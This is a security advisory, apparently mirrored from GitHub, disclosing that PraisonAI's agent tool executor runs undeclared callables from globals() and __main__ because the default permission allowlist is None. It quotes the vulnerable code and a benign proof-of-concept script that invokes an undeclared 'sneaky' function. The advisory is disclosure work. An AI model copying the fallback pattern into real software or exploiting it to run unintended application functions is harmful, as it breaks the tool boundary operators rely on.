GHSA-gmjg-hv98-qggq
PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute
상세
### Summary `praisonaiagents` resolves unresolved tool names against module globals and `__main__` after it fails to match the declared tool list and the registry. With the default agent configuration, `_perm_allow` is `None`, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.
### Details The vulnerable resolution path is in [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to `globals()` and then `__main__`:
```python func = None for tool in self.tools if isinstance(self.tools, (list, tuple)) else []: ...
if func is None: try: from ..tools.registry import get_registry registry = get_registry() func = registry.get(function_name) except ImportError: pass
if func is None: func = globals().get(function_name) if not func: import __main__ func = getattr(__main__, function_name, None) ```
If a callable is found, it is executed directly:
```python elif callable(func): casted_arguments = self._cast_arguments(func, arguments) return func(**casted_arguments) ```
The permission gate does not enforce a declared-tool allowlist by default. In [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if `_perm_allow` is non-`None`:
```python if self._perm_deny and function_name in self._perm_deny: return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True} if self._perm_allow is not None and function_name not in self._perm_allow: return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True} ```
Default agent initialization sets `_perm_allow = None`, which means "allow all" rather than "allow only declared tools" in [`[agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):
```python self._perm_deny = frozenset() # Permission tier deny set (empty = no denials) self._perm_allow = None # Permission tier allow set (None = allow all) ```
The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:
- [`[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142):56) asserts that a default `Agent` has `_perm_allow is None`. - [`test_permissions.py`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142) explicitly checks that `agent._check_tool_approval_sync("my_custom_tool", {})` passes for an undeclared tool name.
**Empirical verification:**
I verified the bypass locally on commit `d8a8a786915dc67a7c3021e24f72458f2eac5d9c` (`v4.6.35`) by defining a callable only in `__main__`, giving the agent an empty `tools` list, and invoking `execute_tool()` with that undeclared name. The tool executor ran the `__main__` function anyway.
### PoC **Environment** - Repo: `MervinPraison/PraisonAI` - Commit: `d8a8a786915dc67a7c3021e24f72458f2eac5d9c` - Verified against PyPI package versions available on May 3, 2026: - `praisonaiagents` `1.6.35` - `PraisonAI` `4.6.35` - Python 3
**Steps** 1. From the repository root, run:
```bash python3 - <<'PY' import sys from unittest.mock import MagicMock, patch
sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents') from praisonaiagents.agent.tool_execution import ToolExecutionMixin
def sneaky(msg='ok'): return {'ran': msg}
class HookRunner: def execute_sync(self, *args, **kwargs): return [] def is_blocked(self, results): return False
class Dummy(ToolExecutionMixin): def __init__(self): self.name = 'demo' self.tools = [] self.chat_history = [] self._hook_runner = HookRunner() self.context_manager = None self._doom_loop_tracker = None self._perm_deny = frozenset() self._perm_allow = None self._approval_backend = None
mock_registry = MagicMock() mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None) mock_registry.mark_approved = MagicMock()
with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry): agent = Dummy() print(agent.execute_tool('sneaky', {'msg': 'hello'})) print(mock_registry.approve_sync.call_args) PY ```
**Expected output** ```text {'ran': 'hello'} call('demo', 'sneaky', {'msg': 'hello'}) ```
The important point is that `sneaky` was never declared in `self.tools` and was only present in `__main__`.
### Impact - **Any deployment that lets an untrusted party influence tool-call names**: undeclared application callables can run even though they were never registered as tools. - **Operators who rely on the declared tool list as a security boundary**: that boundary is broken because unresolved names fall through to `globals()` and `__main__`. - **Applications that keep privileged helper functions in process scope**: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.
이 버전이 영향받나요?
사용 중인 패키지 버전을 입력하면 즉시 평가합니다.